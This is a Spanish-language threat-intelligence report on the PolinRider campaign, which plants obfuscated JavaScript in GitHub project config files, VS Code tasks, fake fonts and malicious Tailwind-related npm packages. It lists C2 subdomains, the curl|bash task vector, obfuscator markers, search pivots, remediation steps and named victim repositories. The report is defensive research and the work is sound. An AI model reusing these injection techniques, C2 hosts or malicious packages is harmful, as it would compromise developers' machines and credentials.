web-ghoul | User | 0 | 0 | 1 | tailwind.config.js | | | | 444 | Dawit212119/DMS | Dawit212119 | User | 0 | 0 | 1 | client/tailwind.config.js | Nextjs,express,prisma | | | 445 | Al-amin07/project_4_frontend | Al-amin07 | User | 0 | 0 | 1 | tailwind.config.js | | | | 446 | zeeshanrafiqrana/metropolis-arena-frontend | zeeshanrafiqrana | User | 0 | 0 | 1 | tailwind.config.js | Metropolis Arena Mapa Interactivo de Asientos para Eventos — Tarea de Práctica Front-End | | | 447 | Wasee-Ur-Rehman/DarziXpress | Wasee-Ur-Rehman | User | 0 | 0 | 1 | client/tailwind.config.js | Servicio de Sastrería y Alteración de Ropa en Línea | | | 448 | Flitzinteractive/FlitzSpace | Flitzinteractive | User | 0 | 0 | 1 | client/tailwind.config.js | | | | 449 | addygeek/Walmart-Inventory-Clearance-Optimizer | addygeek | User | 0 | 0 | 1 | frontend/tailwind.config.js | Panel de control inteligente de inventario y gestión de caducidad para tiendas minoristas como Walmart: detecta, rastrea y optimiza artículos de liquidación con puntuación de urgencia y acceso basado en roles. | |


Read more

Descargar herramienta
Métrica8 de marzo (inicial)11 de abril (último)Δ
Repositorios únicos infectados6751,951+1,276
Propietarios únicos afectados3521,047+695
— Usuarios individuales305~930+625
— Organizaciones47~117+70
Variantes distintas de ofuscador observadas1 (rmcej%otb%)2 (rmcej%otb% + Cot%3t=shtP)+1
Vectores de inyección distintos confirmados1 (config file)4 (config file, .vscode/tasks.json, fake .woff2 font, malicious npm dep)+3
Subdominios C2 distintos documentados1 (260120.vercel.app)6+ (see C2 Infrastructure)+5
Plantillas de prueba técnica armadas conocidas02+ (ShoeVista, StakingGame)+2
rmcej_otb_payload
Nueva variante: Cot%3t=shtP
  • El actor de amenazas está reinfectando a víctimas anteriores. Al menos un repositorio víctima (HassanHabibTahir/testclient) contiene marcadores de AMBAS variantes en diferentes archivos, lo que indica que las herramientas del actor se están reejecutando contra hosts previamente comprometidos e inyectando el nuevo ofuscador.

  • PolinRider y TasksJacker se han fusionado operativamente. Ahora tenemos evidencia directa de que el mismo actor de amenazas está ejecutando tanto la inyección de archivos de configuración como el vector de infección curl-to-shell de .vscode/tasks.json contra la misma población de víctimas. 22 de las 101 víctimas del script de propagación temp_auto_push.bat también tienen archivos .vscode/tasks.json maliciosos, y se han identificado múltiples proyectos de plantillas armadas de prueba técnica o falsas entrevistas — consulte Weaponized Take-Home Templates más abajo. OSM está fusionando los dos grupos bajo #polinrider en adelante.

  • Dos proyectos de prueba técnica armados identificados: ShoeVista (una evaluación falsa de comercio electrónico en Tailwind que incluye tailwindcss-style-animate ^1.1.6 malicioso en client/package.json) y StakingGame (un proyecto falso de blockchain/automatización de VS Code identificado por el UUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 en tasks.json). Al menos 46 + 42 desarrolladores intentaron estas pruebas y fueron comprometidos. Parte del manual de atracción de Contagious Interview.

  • Se descubrieron cinco nuevos subdominios C2 que se están utilizando en cargas útiles curl | bash de .vscode/tasks.json, todos alojados en Vercel:

    • default-configuration.vercel.app (el más usado, ~106 referencias de víctimas)
    • vscode-settings-bootstrap.vercel.app
    • vscode-settings-config.vercel.app
    • vscode-bootstrapper.vercel.app
    • vscode-load-config.vercel.app

    Todos siguen el patrón https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Añadidos a la sección C2 Infrastructure.

  • OSM presentó 821 nuevos informes de amenazas en esta caza de dos días, elevando el total de entradas de OSM PolinRider a ~1.700. Desglose de variantes de las 821 presentaciones: 591 variante original (rmcej%otb%), 113 solo propagación (temp_auto_push.bat), 45 malicious_npm (clúster ShoeVista/devhire), 27 tasksjacker, 1 nueva variante (Cot%3t=shtP), 44 otros.

  • Se identificaron nuevos pivotes de búsqueda de alto rendimiento que encuentran víctimas incluso cuando la carga útil JS ha sido limpiada. Los más fuertes son filename:temp_auto_push.bat (101 resultados confirmados como maliciosos, tasa de verdaderos positivos del 100%) y "default-configuration.vercel.app" (106 resultados). La tasa de falsos positivos de muestra en 44 verificaciones aleatorias fue del 0%. Consulte Refinement Methodology más abajo.

  • Se confirmó un nuevo vector de inyección: al menos una víctima (AgbaD/odoo) tiene la carga útil JS ofuscada oculta en un archivo de fuente .woff2 (public/fonts/fa-solid-400.woff2) que se ejecuta a través de Node, lo que confirma que la campaña utiliza múltiples vectores de inyección contra el mismo objetivo.

  • No se encontró una tercera variante de ofuscador. La investigación exhaustiva de marcadores global['?'], combinaciones de semillas, patrones estructurales, literales IOC y etiquetas secuenciales '8-stN' 1–200 (a través de regex de Sourcegraph) no produjo evidencia de una tercera variante más allá de las dos ya documentadas. El lote de nuevas variantes del actor está limitado a 8-st1..8-st59 (con 21 números secuenciales faltantes en el índice de Sourcegraph).

  • Buscar el artefacto del script de propagación temp_auto_push.bat en la raíz del repositorio y cualquier config.bat referenciado desde .gitignore. Incluso si la carga útil JS ofuscada ha sido limpiada, este archivo es evidencia directa de un compromiso pasado y debería desencadenar una rotación de credenciales.
  • Auditar los activos binarios en public/, static/, assets/ en busca de archivos .woff / .woff2 inesperados — se ha observado que el malware oculta cargas útiles dentro de archivos de fuente falsos (la subvariante 'fake-font').
  • Revisar las dependencias de package.json — particularmente cualquier paquete relacionado con PostCSS/Tailwind agregado o actualizado recientemente, como tailwind-mainanimation, tailwind-autoanimation y los otros paquetes npm listados más abajo.
  • Verificar node_modules en busca de scripts postinstall: grep -r "postinstall" node_modules/*/package.json
  • Rotar cualquier secreto, token o credencial que pueda haber estado presente en el entorno durante una compilación.
  • Hacer push forzado de archivos de configuración limpios y considerar firmar las confirmaciones en el futuro.
  • No asumir que un repositorio previamente limpiado permanece limpio — el equipo de OSM ha observado al menos una víctima que fue reinfectada con la variante rotada Cot%3t=shtP después de una limpieza previa de la variante rmcej%otb%. Re-escanear periódicamente.
  • ArchivoOcurrencias (8 Mar)Ocurrencias (10 Abr)
    postcss.config.mjs416~960
    tailwind.config.js84~210
    eslint.config.mjs60~150
    postcss.config.js13~40
    App.js13~30
    next.config.mjs12~30
    index.js6~25
    astro.config.mjs6~15
    tailwind.config.mjs5~12
    vite.config.js / vite.config.mjs—~20
    webpack.config.js—~15
    gridsome.config.js—~5
    vue.config.js—~10
    truffle.js—~5
    temp_auto_push.bat (artefacto del script de propagación)—101
    .woff2 archivos de fuente (subvariante fake-font)—observado
    PaqueteÚltima versiónEstadoPublicadorRecuento de víctimas observado (11 Abr)
    tailwindcss-style-animate1.1.6observado(cuenta eliminada)34 ← dep primaria de ShoeVista
    tailwind-mainanimation2.3.3 → 0.0.1-securityELIMINADO por npm (reemplazado por marcador de seguridad 2026-03-13)allavin (cuenta eliminada)1
    tailwind-autoanimation2.3.6ELIMINADO del registroblackedward (cuenta eliminada)2
    tailwind-animationbased—observado(cuenta eliminada)0
    tailwindcss-typography-style0.8.2observado(cuenta eliminada)6
    tailwindcss-style-modify0.8.3observado(cuenta eliminada)4
    tailwindcss-animate-style1.2.5observado(cuenta eliminada)0
    AtributoVariante originalNueva variante
    Marcador de firmarmcej%otb%Cot%3t=shtP
    Semilla de mezcla (capa 1)28576871111436
    Semilla secundaria (capa 2)26676863896884
    Nombre de función decodificadora_$_1e42MDy
    Globales inyectadosglobal['!'], global['r'], global['m']global['_V'], global['r'], global['m']
    Tipos de archivos objetivopostcss.config.mjs, tailwind.config.js, eslint.config.mjs, etc.(mismo)
    Estilo de inyecciónAñadido después del export default / cuerpo del módulo legítimo(mismo)
    Blockchain C2TRON / Aptos / BSC(mismo — direcciones sin cambios)
    Claves XORsin cambiossin cambios
  • Repositorios de víctimas observados: 34+ recargas individuales de desarrolladores, todas creadas entre Feb–Mar 2026, todas con 0 estrellas / 0 forks (cuentas desechables nuevas). Ejemplos: alaminrifat/shoevista-rifat, Atik203/ShoeVista, DaviBarros/shoevista, IchaCoder/test-shoe, Anas-Ali-3673/Test-west-shoe, naime7132/client-2 (variante devhire)
  • Patrón de nombres: los candidatos a menudo nombran el repositorio según el aviso de la empresa falsa (ShoeVista, shoevista-rifat, HedaetShahriar/ShoeVista-Test) o según la plataforma de entrevista (Test-002, test-shoe, test_upwork, test_west_shoe)
  • SubdominioConteo (11 abr)Primera observaciónNotas
    260120.vercel.app56antes del 8 marConsulta OSM original Q11; también publicada en el primer blog
    default-configuration.vercel.app106abr 2026El clúster de subdominio único más grande encontrado hasta ahora
    vscode-settings-bootstrap.vercel.app16abr 2026
    vscode-settings-config.vercel.app11abr 2026
    vscode-bootstrapper.vercel.app6abr 2026
    vscode-load-config.vercel.app6abr 2026
    Nombre de archivo buscadoResultados
    postcss.config.mjs416
    tailwind.config.js84
    eslint.config.mjs60
    App.js13
    postcss.config.js13
    next.config.mjs12
    index.js6
    astro.config.mjs6
    Otros archivos de configuración81
    Total (pre-dedup)700
    Repos únicos675
    #PivoteMotorRepos únicos aportados
    1filename:temp_auto_push.batBúsqueda de Código de GitHub101
    2"_$_1e42" (con refinamiento por extensión/tamaño/fork)Búsqueda de Código de GitHub1,323
    3"function MDy(f)" global _VBúsqueda de Código de GitHub14
    4LAST_COMMIT_DATE LAST_COMMIT_TIME extension:batBúsqueda de Código de GitHub236
    5Cot%3t=shtP regex con fork:yes archived:yesSourcegraph41
    Ronda 1 combinada1,556
    6"<malicious_npm_package>" filename:package.json (7 paquetes npm)Búsqueda de Código de GitHub46
    7<url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app)Búsqueda de Código de GitHub145
    8"default-configuration.vercel.app" y 4 subdominios vscode-*.vercel.app hermanosBúsqueda de Código de GitHub94
    9"e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" (UUID de plantilla StakingGame)Búsqueda de Código de GitHub42
    10Enumeración secuencial '8-stN' 1–200 (verificando etiquetas secuenciales no indexadas)Sourcegraph regex0 nuevos
    Ronda 2 combinada+215
    Total único (ambas rondas + CSV existente)1,951
    Refinamientototal_count
    extension:js430
    extension:mjs676
    extension:cjs17
    extension:ts7
    extension:html1
    size:<50004
    size:5000..6000630
    size:6000..7000125
    size:7000..8000139
    size:8000..900056
    size:9000..1000036
    size:10000..50000112
    size:>5000012
    fork:true157 (¡excluido por defecto!)
    FuenteRepos únicosPropietarios únicos
    Publicación original del 8 de marzo675352
    affected_repos.csv (actualización del 18 de marzo)769399
    Maestro v3 del 10 de abril (5 pivotes)1,556835
    Ronda 2 del 11 de abril (5 pivotes adicionales)+215 netos nuevos+158 netos nuevos
    Unión (alcance real, 11 de abril)1,9511,047
    ArchivoDescripción
    README.mdEste informe
    polinrider-rides-again.mdBlog de seguimiento (11 de abril) que cubre el crecimiento de la campaña, la fusión TasksJacker / PolinRider y la ingeniería inversa completa del payload de extremo a extremo
    affected_repos.csvRepositorios afectados — primero las organizaciones, luego los usuarios, cada uno ordenado por estrellas+forks descendente. Nota: a fecha de 2026-04-11 este CSV contiene 769 entradas de la recopilación del 18 de marzo. Las búsquedas del 10–11 de abril agregaron aproximadamente 1,180 nuevos repositorios que aún no se han fusionado en este CSV (se rastrean en reports/polinrider-master-v3-1556.tsv y reports/polinrider-round2-repos.txt). El alcance real conocido es de 1,951 repositorios únicos.
    affected_users.csvPropietarios afectados — primero las organizaciones, luego los usuarios, cada uno ordenado por seguidores descendente. A fecha de 2026-04-11 contiene 399 entradas; la unión de la búsqueda de abril es de 1,047 propietarios.
    reports/polinrider-master-v3-1556.tsvLista maestra de la búsqueda del 10 de abril: repo \t osm_status \t threat_id \t severity \t sources para los 1,556 repositorios encontrados en la búsqueda v3
    reports/polinrider-new-v3.tsvLos 705 repositorios recién agregados a OSM el 2026-04-10
    reports/polinrider-round2-repos.txtLista maestra limpia de la ronda 2 (239 repositorios únicos de los 5 nuevos pivotes)
    reports/polinrider-round2-submissions-2026-04-11.tsvLos 72 repositorios recién agregados a OSM el 2026-04-11 (ronda 2)
    reports/polinrider-scope-v3-2026-04-10.mdInforme completo del alcance v3 que incluye la metodología de refinamiento y el análisis de falsos positivos
    reports/polinrider-submissions-2026-04-10.mdInforme de envío masivo de los 704 informes de amenazas de OSM presentados el 2026-04-10
    reports/polinrider-scope-v3-2026-04-10.mdInforme de alcance v3
    RepositorioEstrellasForksArchivo infectado
    Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform611postcss.config.mjs
    Victorola-coder/tewo96tailwind.config.js
    Kreliannn/Document-Request-System-FRONTEND81postcss.config.mjs
    Atik203/Scholar-Flow44postcss.config.mjs
    sparktechagency/Vap-shop-Front-End-70postcss.config.mjs
    Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND70postcss.config.mjs
    coderkhalide/Anti-Detect-Browser24tailwind.config.js
    tanushbhootra576/Bionary-Website-Challenge-and-final42tailwind.config.js
    tanushbhootra576/collegeConnect51postcss.config.mjs
    Kreliannn/commision_portfolio60postcss.config.mjs
    OrganizaciónSeguidoresRepos afectados
    sparktechagency13012
    FSDTeam-SAA2112
    Softvence-Omega-Dev-Ninjas184
    Codechef-VITC-Student-Chapter171
    softvence-omega-future-stack114
    The-Extra-Project111
    etrainermis71
    tricodenetwork71
    Binary-Mindz61
    Gamage-Recruiters-40651
    UsuarioSeguidoresRepos afectados
    coderkhalide3494
    finom1724
    Victorola-coder1211
    dhruvmalik007876
    saif72437572
    a-belard431
    Muhammadfaizanjanjua109391
    Nathanim1919385
    kanchana404333
    AKDebug-UX304
    https://github.com/Addis-Career/Frontend
    https://github.com/etrainermis/mineduc-Form
    https://github.com/FSDTeam-SAA/brazen-kits
    https://github.com/FSDTeam-SAA/Igghy-dashboard
    https://github.com/FlowBondTech/danz-miniapps
    https://github.com/BrennansWave-com/brennanswave
    https://github.com/FlowBondTech/danz-web
    https://github.com/QualifyAI/qualify-frontend
    https://github.com/FSDTeam-SAA/ftfdesignco-backend
    https://github.com/Gamage-Recruiters-406/Rent_a_Car
    https://github.com/Umbrelabs-Projects/Procobiz
    https://github.com/The-Extra-Project/Extra_surface_repo
    https://github.com/Automobile-System/frontend
    https://github.com/VplayProCrypto/mvp_vercel
    https://github.com/sparktechagency/nskustoms_custom_game_site-2.0
    https://github.com/softvence-omega-future-stack/gameluke-frontend
    https://github.com/NexumTechnologies/E-Commerce
    https://github.com/Umbrelabs-Projects/Hostella-superAdmin
    https://github.com/FSDTeam-SAA/admin-dashboard-gman
    https://github.com/sparktechagency/protippz_website
    https://github.com/FlowRMS/flow-connect-frontend-new
    https://github.com/Anthem-InfoTech-Pvt-Ltd/dashboards
    https://github.com/WeOwnAiAgents-Hackerhouse/WeOwnAiAgent
    https://github.com/Karigar-App/Karigar
    https://github.com/sparktechagency/silicon-zisan-website
    https://github.com/FSDTeam-SAA/hinkel-Website
    https://github.com/FSDTeam-SAA/iwmsadvisors
    https://github.com/Umbrelabs-Projects/Hostella-admin
    https://github.com/Umbrelabs-Projects/Hostella-stu
    https://github.com/iwb25-412-vertex-prime/apigateway-v1
    https://github.com/Cloudrika/cloudrika-web
    https://github.com/sparktechagency/consult_dashboard
    https://github.com/sparktechagency/jonowoods-website
    https://github.com/Softvence-Omega-Dev-Ninjas/diaz-jupiter-marine-frontend
    https://github.com/sparktechagency/profitable-website-v2
    https://github.com/musetax/Amus-fe
    https://github.com/sparktechagency/faceAi-front-end
    https://github.com/sparktechagency/any-job-dashboard
    https://github.com/sparktechagency/anyjob-web
    https://github.com/softvence-omega-future-stack/lawalx_frontend
    https://github.com/softvence-omega-future-stack/kilian-rodhe-last-
    https://github.com/WeOwnNetwork/EthDenver-submission
    https://github.com/sparktechagency/betopia-website
    https://github.com/FlowRMSLabs/flowdemandwebsite
    https://github.com/BhavikPatel-dreamz/wove-gift-portal
    https://github.com/BhavikPatel-dreamz/DynamicDreamz-AIagent-Demos
    https://github.com/GARAGE-POS/nextjs_test
    https://github.com/BhavikPatel-dreamz/Homeopathway
    https://github.com/digitalschool-tech/tech-static
    https://github.com/tricodenetwork/lock-up
    https://github.com/Sahl-AI/sahl-ai-iframe
    https://github.com/dawahanigeria-team/domainping
    https://github.com/shahid538org/microrealestate
    https://github.com/orynth-dev/vite-shadcn-template
    https://github.com/FlowBondTech/egator
    https://github.com/sparktechagency/u_tee_hub
    https://github.com/Enigma-Incorporated-Ltd/N0DE-Website
    https://github.com/FSDTeam-SAA/AMES_Investment_new
    https://github.com/Frontier-tech-consulting/olas-mcp-application-workflow
    https://github.com/Softvence-Omega-Dev-Ninjas/vic_pec_server_app
    https://github.com/Softvence-Omega-Dev-Ninjas/jdadzok_server
    https://github.com/Binary-Mindz/agimtula_server
    https://github.com/Softvence-Omega-Dev-Ninjas/alvaaro-server
    https://github.com/Softvence-Omega-Cyber-Monk/nishant-server
    https://github.com/softvence-omega-future-stack/huss-be
    https://github.com/BhavikPatel-dreamz/Products-filters-react
    https://github.com/Victorola-coder/tewo
    https://github.com/Atik203/Scholar-Flow
    https://github.com/Kreliannn/Document-Request-System-FRONTEND
    https://github.com/coderkhalide/Anti-Detect-Browser
    https://github.com/WeerasingheMSC/ASMS_Frontend
    https://github.com/fsdteam8/n_Krypted-frontend
    https://github.com/tanushbhootra576/Bionary-Website-Challenge-and-final
    https://github.com/Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND
    https://github.com/tanushbhootra576/collegeConnect
    https://github.com/brown2020/ikigaifinder
    https://github.com/Kreliannn/commision_portfolio
    https://github.com/coderkhalide/Trading-Journal
    https://github.com/tanushbhootra576/weather
    https://github.com/Kreliannn/student-passed-rate-analysis-frontend
    https://github.com/Kreliannn/pharmacy-management-frontend
    https://github.com/Kreliannn/Employee-management-frontend
    https://github.com/Kreliannn/e-commerce-frontend
    https://github.com/umarabid123/The_INTERNET_OF_AGENTS_HACKATHON
    https://github.com/ahmadraza382/FinanceAi
    https://github.com/tanushbhootra576/turbo-happiness
    https://github.com/shaheeer-dev/sketchers
    https://github.com/tanushbhootra576/game
    https://github.com/tanushbhootra576/GridSaga
    https://github.com/senulahesara/devkit
    https://github.com/tanushbhootra576/week3-forms-and-inputs
    https://github.com/tanushbhootra576/PW-app
    https://github.com/tanushbhootra576/RESTRO
    https://github.com/tanushbhootra576/MoodSync
    https://github.com/Amanbanti/Capstone
    https://github.com/ShifaLabs/shifa
    https://github.com/SouravDn-p/mobile-canvas-nextjs
    https://github.com/RinSanom/IoTWeb
    https://github.com/kanchana404/Google-bussiness-api-Get-reviews-and-Reply-reviews
    https://github.com/Salman1205/MailAssist
    https://github.com/Yassin-Younis/bypass-in-app-browser
    https://github.com/Lithira-Silva/TrueClaim---ITPM-
    https://github.com/maaz-bin-hassan/sahoolat-web-new
    https://github.com/Pramadu2001/ITPM_MODUS
    https://github.com/abimtad/upload_file
    https://github.com/anilgoswamistartbitsolutions/travel-platform
    https://github.com/AhsanalyOfficial/ahsan_portfolio
    https://github.com/HevenDev/rmw-new-design
    https://github.com/anilgoswamistartbitsolutions/travel-payload-sites
    https://github.com/dhruvmalik007/solana-colossum-hackathon
    https://github.com/Tiewasters99/AI_Law_Wizard
    https://github.com/coderkhalide/scalping-trading-tools
    https://github.com/monazahmed/Agrismart-project-
    https://github.com/Gowreesh-VT/SherlockIT
    https://github.com/webprogramminghack/b3-practice-30
    https://github.com/Salman1205/Mail-Assist-CRM
    https://github.com/AbdulwahidHusein/Shipper-chat
    https://github.com/michelzappy/zappy-scratch-091225
    https://github.com/Ali-Hamas/Learn_Hub
    https://github.com/VALENSAPP/coin_backend
    https://github.com/QaisarWaheed/Aluminum-POS
    https://github.com/Abdulbasit219/UPSkaleAI
    https://github.com/Satyam3002/nextauth
    https://github.com/ahmadraza382/Hospital-management-system
    https://github.com/AKDebug-UX/challengePR
    https://github.com/Ruwanima/ella-south-star-frontend
    https://github.com/ahmadraza382/Luxeurs-Shopping-Store
    https://github.com/ahmadraza382/Portfolio
    https://github.com/Ayesha-Siddiqui1234/katy-youth-hackathon-2025-dev-post-
    https://github.com/WimpyvL/Zappy-Health-Dashboard
    https://github.com/ifedolapoomoniyi/fleet-robotics
    https://github.com/muhammad-tahir-sultan/rehman-fyp-nextjs-multivendor
    https://github.com/vkrms/wizard
    https://github.com/Atik203/VocabPrep
    https://github.com/web-ghoul/Portfolio
    https://github.com/AbdulwahidHusein/ai-tools-directory
    https://github.com/AhmadRazaKhokhar1/resturants-app
    https://github.com/ishivamgaur/Ap-news-next-js
    https://github.com/amMubbasher/cleannami.ceenami-old
    https://github.com/AbdulwahidHusein/crawler-dashboard
    https://github.com/SouravDn-p/RexAuction
    https://github.com/AKDebug-UX/interactive-tv-app
    https://github.com/usman-174/VidSpark
    https://github.com/NatyJoseDie/proyecto-nginx
    https://github.com/AKDebug-UX/DoneWithIt
    https://github.com/dhruvmalik007/forensics-board
    https://github.com/Rahulkumarhavit/ProStore-Ecommerce
    https://github.com/Bart3kL/shopify-components
    https://github.com/mjatin-dev/logic-zephyr
    https://github.com/umrasghar/heygen-demo
    https://github.com/thanhdanh111/challenge
    https://github.com/hamza-nafasat/rentin-frontend
    https://github.com/rejoan121615/ClientOps
    https://github.com/SouravDn-p/CMR
    https://github.com/EmanDeveloper/EasyTech
    https://github.com/addis-ale/25-5-clock
    https://github.com/MSCPerera/Job-Board-App
    https://github.com/Nathanim1919/nextjs-project
    https://github.com/TimothyBabatu13/AegisHealth-Smart
    https://github.com/Senti-fi/Senti.fi
    https://github.com/Zentaurios/stable-monitor
    https://github.com/SouravDn-p/Frontend-task
    https://github.com/Storaboy11/meerge
    https://github.com/ahmedghonim/esraa
    https://github.com/vrunda310/AIA-VEGA-Frontend
    https://github.com/emmanueldavidson96/popular_saas_product_landing_page
    https://github.com/pratikp72/deal-Project
    https://github.com/Al-amin07/file_sure
    https://github.com/waris-ansar/finstar
    https://github.com/MianHaziq/LKnight-Lms
    https://github.com/pankajkhadse/TrustBasket
    https://github.com/adnaan-2/content-generation
    https://github.com/malikjunaidhassann/seller-panel
    https://github.com/mdnuruzzamannirob/your-capture-awards-dashboard
    https://github.com/Minahil48/NY-caffine
    https://github.com/FrazKhan1/dev-team-chat
    https://github.com/jrioscloud/financial-document-analyzer
    https://github.com/seemab-ahmed/rodopi
    https://github.com/JudeTejada/digital-pods
    https://github.com/msuhels/RapidProject-Pos-System
    https://github.com/Al-amin07/project_5_frontend
    https://github.com/abdullah2310ishaq/afronaut
    https://github.com/Jaskaran2701/Test-1
    https://github.com/Deepanshu7-bit/nugen-interns
    https://github.com/saifullah-max/bublr
    https://github.com/Meet2054/automa8x-production-new
    https://github.com/bharatbrovitech/india-to-germany
    https://github.com/PremShakti/PanchangCalendar
    https://github.com/Pa-ppy/Checkout
    https://github.com/Atif-Hameed/als-admin
    https://github.com/Dawit212119/Devodemy
    https://github.com/SouravDn-p/NextManager-YourInventoryManager
    https://github.com/ranjannkumar/Token-Vesting-App
    https://github.com/Usamahafiz8/fetchdetails
    https://github.com/freelancework00700/CRM-test-task
    https://github.com/ahmadraza382/APIs-integration
    https://github.com/akashmuhammadabrrar/Resume-builder-NextTypescript
    https://github.com/abimtad/Customer-feedback
    https://github.com/SanjayaPrasadRajapaksha/Blog_App
    https://github.com/MunibQazi12/next-starter-template
    https://github.com/PremShakti/multi-tenet-school-profile-app
    https://github.com/mirzaghalib4726/committee-system-next
    https://github.com/ChiraniSiriwardhana/Spirit11
    https://github.com/developerdesigner18/Frontend-Task
    https://github.com/noors-code/Account-Settings
    https://github.com/finom/vovk-hello-world
    https://github.com/Yashpreetrana4790/Bestvocabulary_platform
    https://github.com/Atif-Hameed/unsigned-admin
    https://github.com/saifullah-max/mandviwalla-mauser
    https://github.com/Navoda001/Solana
    https://github.com/wolfstudiosai/braxx-frontend-v2
    https://github.com/cywasay/neorecruits-
    https://github.com/raoarafat/steelh-website
    https://github.com/Qasim-dev/stock-tracker
    https://github.com/teresagrobecker/pensio_consortia
    https://github.com/umarabid123/Raise-Your-Hack
    https://github.com/dhruvmalik007/xrpl_haks_hackathon_project
    https://github.com/addis-ale/EGA
    https://github.com/addis-ale/free_code_camp_task_01
    https://github.com/addis-ale/gd-landing-page
    https://github.com/Al-amin07/purple-cat-client
    https://github.com/Al-amin07/apparel-trade-bd
    https://github.com/Al-amin07/hyshin
    https://github.com/Al-amin07/web-programming-lab
    https://github.com/mdnuruzzamannirob/relo-website
    https://github.com/Harsimran-Nugen/assignment
    https://github.com/cto-varun/user-crud-design-nextjs
    https://github.com/Aman-scripts/NugenEmployabilityTest
    https://github.com/akashstwt/inventory-management-majorproject
    https://github.com/akashstwt/TheGitcode
    https://github.com/Atif-Hameed/ALS-Panel
    https://github.com/umarabid123/store-forge
    https://github.com/addis-ale/discord
    https://github.com/addis-ale/hirecards-prod
    https://github.com/addis-ale/ega_updated
    https://github.com/addis-ale/group-match
    https://github.com/SanjayaPrasadRajapaksha/Hotel_Booking-Admin_Panel
    https://github.com/SanjayaPrasadRajapaksha/Todo_App
    https://github.com/PremShakti/Inventory-Todo-Manager
    https://github.com/fsdteam8/lowready-dashboard
    https://github.com/badhon252/shift-scheduler
    https://github.com/fsdteam8/stevenar77-dashboard
    https://github.com/Atif-Hameed/unsigned-frontend
    https://github.com/Atif-Hameed/social-admin
    https://github.com/Atif-Hameed/cybenty
    https://github.com/anthemnandani/ai
    https://github.com/mijanConnect/the-piegeon-hub-website
    https://github.com/Button-20/juzbuild
    https://github.com/HyderYash/my-progess-tracker
    https://github.com/MohamedH1000/course
    https://github.com/nipun-imesh/sample-react
    https://github.com/sayyamButt317/ishout
    https://github.com/rvmediacorp/Headshot-Portland-Official
    https://github.com/Sawjal-sikder/faceAi-front-end
    https://github.com/SanjayaPrasadRajapaksha/E-Commerce
    https://github.com/Rahulkumarhavit/multi-tenant-architecture
    https://github.com/Mohsin-Javed48/connectors-nextJs
    https://github.com/Axxi3/hennery
    https://github.com/UzairAhmedDahraj/clickup-nextjs-demo
    https://github.com/Mike-flowbiz/Flowbiz-backend
    https://github.com/phillipshepard1/internal-re-crm
    https://github.com/mahadi-zulfiker/mz-events-frontend
    https://github.com/fareed-aslam/capitalkv
    https://github.com/TimothyBabatu13/Stampchain
    https://github.com/iamanaskhan10/my-portfolio-nextjs
    https://github.com/MatiasCuadra98/ai-excel
    https://github.com/manuel-spec/another-portfolio
    https://github.com/kasunwathsala/Nextjs-Protfolio
    https://github.com/shayanwd/vts-nextjs
    https://github.com/JudeTejada/reactly
    https://github.com/fyunusa/video-tool
    https://github.com/TranDoanKhoe/Velvere
    https://github.com/cywasay/leaders
    https://github.com/TimothyBabatu13/TokenMind
    https://github.com/shani-techv1/source-app-v2
    https://github.com/Mfahadk99/syssel-web-internal
    https://github.com/Nathanim1919/time-lens
    https://github.com/addis-ale/wetruck-shipper
    https://github.com/Romicha935/image-gallery
    https://github.com/Ali-Hamas/Todo-App
    https://github.com/MohamedH1000/philadelphia_university
    https://github.com/saifullah-max/surfchem
    https://github.com/ahnaafarafee/bionic-seven
    https://github.com/malirazaansari/Protfolio_project
    https://github.com/ayanmal1k/DragoPump
    https://github.com/Shumaim-Naseer-Kiyani/framer_project
    https://github.com/prosigns/dex-data-aggregation
    https://github.com/MrSohaibAhmed/interview-assessment
    https://github.com/roma2023/Snoonu
    https://github.com/Mohsin-Javed48/nextjs-witd-oasis
    https://github.com/kasunwathsala/Caramel-Pudding-web
    https://github.com/mahadi-zulfiker/crm
    https://github.com/humayun506034/ReviewHub-Client
    https://github.com/brianonbased-dev/BaseAppShop
    https://github.com/sanjay10985/lead-generation-landing-page
    https://github.com/Rahulkumarhavit/finance-advisor
    https://github.com/ayanmal1k/Sol-Market
    https://github.com/Mohsin-Javed48/dresscode-nextjs
    https://github.com/Hriday-paul/anyjob-wellcome
    https://github.com/a-belard/rayyan
    https://github.com/kasunwathsala/Service-marketplace
    https://github.com/kasunwathsala/saloon-booking-system
    https://github.com/Nathanim1919/becoming
    https://github.com/Adithyahewage/portfolio_website
    https://github.com/Ali-Hamas/Website-Todo
    https://github.com/MohamedH1000/Mersal
    https://github.com/MohamedH1000/cruise
    https://github.com/kasunwathsala/portfolio-2026
    https://github.com/mahadi-zulfiker/SpaceZee
    https://github.com/mahadi-zulfiker/REPLIQ-Limited-Task
    https://github.com/ahmadraza382/E-commerce-website
    https://github.com/Rahulkumarhavit/carmarket-place
    https://github.com/Rahulkumarhavit/Nextjs-productivity
    https://github.com/tanushka1726/react_next
    https://github.com/Sameer447/O2_app
    https://github.com/dmytro-chushko/portfolio-dev-dc
    https://github.com/Axxi3/ladyfoxx
    https://github.com/Vladyslav0060/autopartner
    https://github.com/PremShakti/jewelry-kiosk
    https://github.com/theeurbanlegend/Hackathon-Submission
    https://github.com/SouravDn-p/NextManager-YourInventory-Manager
    https://github.com/abdullah2310ishaq/zeebuddy
    https://github.com/JudeTejada/project-monitoring
    https://github.com/salwaaliakbar/my-portfolio
    https://github.com/abdullah2310ishaq/company
    https://github.com/wahab3913/kalibar-manger1
    https://github.com/ninjadevhub/Flood-Risk-Mapper
    https://github.com/trobits/trobits-frontend
    https://github.com/Shumaim-Naseer-Kiyani/ai_landing_page
    https://github.com/ChiraniSiriwardhana/Portfolio
    https://github.com/carrantal/frontend
    https://github.com/Nathanim1919/atlas
    https://github.com/asadullah-kazmi/syncspace
    https://github.com/usman-174/form-pdf
    https://github.com/evenwalser/FinalPaperclipPro
    https://github.com/huzzy12/portfolio
    https://github.com/Sameer447/my-app
    https://github.com/wahab3913/kalibar
    https://github.com/sybotstackdev/Portfolio
    https://github.com/NEERAJ131124/pisync-fe
    https://github.com/RazaAkmal/frontend-test
    https://github.com/kasunwathsala/Loomistore
    https://github.com/um8r/bridge-master-fyp
    https://github.com/RathodDeven/danz-web
    https://github.com/Gowreesh-VT/OnlyFoundersV2
    https://github.com/garrycha/test-job
    https://github.com/wasi2320/ctk-new
    https://github.com/sayyamButt317/hire-with-tess-frontend
